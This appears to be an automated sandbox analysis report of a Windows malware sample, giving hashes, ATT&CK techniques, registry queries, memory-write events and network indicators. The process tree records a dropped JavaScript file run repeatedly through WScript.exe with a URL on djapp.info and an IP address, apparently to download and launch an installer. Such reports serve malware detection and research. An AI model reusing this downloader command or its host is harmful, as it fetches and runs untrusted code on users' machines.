866daca65fcfe6d7f4ea7b75c993e336381f366479ff26f754185205c6903002

Analysis

max time kernel
92s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 02:18

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General

Target

8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe
Size

184KB
MD5

8918ad1f0dabbd69f21f1e73a20d4cdb
SHA1

3293d72b7dee5e7b8919355cb0dca483bc5e8bf8
SHA256

866daca65fcfe6d7f4ea7b75c993e336381f366479ff26f754185205c6903002
SHA512

bf50b212dbe70bbc2e544e1714518c647d84bf2b76301b1a924e686af6e792c0d977206480f09c46ed2bbedc0a9abd32e4d38800268e8e33b4d8a78c6142de3c
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	2224	WScript.exe
26	3860	WScript.exe
30	4412	WScript.exe
42	2132	WScript.exe
44	4168	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3432 wrote to memory of 2224	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	81
PID 3432 wrote to memory of 2224	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	81
PID 3432 wrote to memory of 2224	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	81
PID 3432 wrote to memory of 3860	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	92
PID 3432 wrote to memory of 3860	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	92
PID 3432 wrote to memory of 3860	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	92
PID 3432 wrote to memory of 4412	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	93
PID 3432 wrote to memory of 4412	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	93
PID 3432 wrote to memory of 4412	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	93
PID 3432 wrote to memory of 2132	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	95
PID 3432 wrote to memory of 2132	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	95
PID 3432 wrote to memory of 2132	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	95
PID 3432 wrote to memory of 4168	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	96
PID 3432 wrote to memory of 4168	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	96
PID 3432 wrote to memory of 4168	3432	8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8918ad1f0dabbd69f21f1e73a20d4cdb_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3432
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf36DF.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf36DF.exe
  2⤵
  - Blocklisted process makes network request
  PID:2224
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf36DF.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf36DF.exe
  2⤵
  - Blocklisted process makes network request
  PID:3860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf36DF.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf36DF.exe
  2⤵
  - Blocklisted process makes network request
  PID:4412
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf36DF.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf36DF.exe
  2⤵
  - Blocklisted process makes network request
  PID:2132
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf36DF.js" http://www.djapp.info/?domain=ULNhRQPvqe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf36DF.exe
  2⤵
  - Blocklisted process makes network request
  PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf36DF.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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